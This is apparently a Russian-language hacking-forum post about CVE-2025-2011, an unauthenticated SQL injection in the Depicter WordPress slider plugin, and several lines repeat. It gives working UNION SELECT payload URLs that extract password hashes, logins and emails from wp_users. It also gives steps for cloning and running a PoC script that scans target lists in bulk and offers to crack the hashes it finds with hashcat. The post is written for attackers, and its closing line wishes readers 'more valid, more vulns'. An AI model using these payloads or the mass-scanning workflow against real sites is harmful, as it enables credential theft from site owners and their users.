Не удалось прогрузить медиа
Приветствую читателей, день прошел, а что это значит? А значит то что пора опубликовать новую уязвимость в плагине wordpress, темой обсуждения сегодня будет вулна cve-2025-2011
Что это за монстр?
CVE-2025-2011 уязвимость плагина «Slider & Popup Builder» от Depicter для WordPress в версиях до и включая 3.6.1
Описание: неаутентифицированные злоумышленники могут добавлять дополнительные SQL-запросы в уже существующие, что позволяет извлекать чувствительную информацию из базы данных
Причина уязвимости: недостаточная обработка пользовательского параметра и отсутствие должной подготовки существующего SQL-запроса
Дата публикации: 6 мая 2025 года
Уровень серьёзности 7.5/10 (high)
CVE-2025-2011 уязвимость плагина «Slider & Popup Builder» от Depicter для WordPress в версиях до и включая 3.6.1
Описание: неаутентифицированные злоумышленники могут добавлять дополнительные SQL-запросы в уже существующие, что позволяет извлекать чувствительную информацию из базы данных
Причина уязвимости: недостаточная обработка пользовательского параметра и отсутствие должной подготовки существующего SQL-запроса
Дата публикации: 6 мая 2025 года
Уровень серьёзности 7.5/10 (high)
Как эксплуатируется?
Уязвимость находится в AJAX-обработчике плагина Depicter в файле /wp-admin/admin-ajax.php при выполнении действия depicter-lead-index отправляем обычный GET-запрос вида: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+
Не удалось прогрузить медиа
Как появилась уязвимость
плагин подставлял пользовательский параметр s прямо в SQL-запрос без правильной очистки и без параметризации, из-за чего можно было дописать свой SQL
запросы строились конкатенацией строк вместо $wpdb->prepare(...), поэтому атака могла вставить управляющие конструкции (', ), UNION, --)
пример: action=depicter-lead-index&s=test%27)+UNION+select+user_email,2,3,4,5+FROM+wp_users--+x
запросы строились конкатенацией строк вместо $wpdb->prepare(...), поэтому атака могла вставить управляющие конструкции (', ), UNION, --)
пример: action=depicter-lead-index&s=test%27)+UNION+select+user_email,2,3,4,5+FROM+wp_users--+x
Пайлоды для просмотр таблиц
Данные берутся из таблицы "wp_users", основные данные которые можно вытащить:
user_pass
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+xХеши (пароли)
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+xХеши (пароли)
user_login
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_login,2,3,4,5+FROM+wp_users--+xЛогин пользователей (имя учётки)
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_login,2,3,4,5+FROM+wp_users--+xЛогин пользователей (имя учётки)
user_email
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_email,2,3,4,5+FROM+wp_users--+xПочты пользователей
payload: wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_email,2,3,4,5+FROM+wp_users--+xПочты пользователей
Готовый скрипт(PoC)
Готовое решение есть на гитхабе где можно проверить огромное количество ссылок на уязвимость
1. git clone https://github.com/X3RX3SSec/CVE-2025-2011.git
2. cd CVE-2025-2011
3. pip install requests colorama
4. python CVE-2025-2011.py -h
-f targets.txt (принимает огромное количество ссылок с текстового документа)
-u example.com (принимает одну ссылку прямо с терминала)
-p 1,2 - в репозитории есть 2 payload, советую использовать -p 1 (либо можете не писать -p, скрипт автоматически выберет первый пайлоад)
Так же скрипт ищет хеши в виде бкрипта (\$2y$) и в случае находки предлагает сбрутить через hashcat
Готовое решение есть на гитхабе где можно проверить огромное количество ссылок на уязвимость
1. git clone https://github.com/X3RX3SSec/CVE-2025-2011.git
2. cd CVE-2025-2011
3. pip install requests colorama
4. python CVE-2025-2011.py -h
-f targets.txt (принимает огромное количество ссылок с текстового документа)
-u example.com (принимает одну ссылку прямо с терминала)
-p 1,2 - в репозитории есть 2 payload, советую использовать -p 1 (либо можете не писать -p, скрипт автоматически выберет первый пайлоад)
Так же скрипт ищет хеши в виде бкрипта (\$2y$) и в случае находки предлагает сбрутить через hashcat
Не удалось прогрузить медиа
Благодарю всех кто дочитал до этого момента, больше валида, больше уязвимостей:cowboy:
специально для https://forum.LIMB.cc/
специально для https://forum.LIMB.cc/
👍13
❤️3
👏3
💯3
LIMB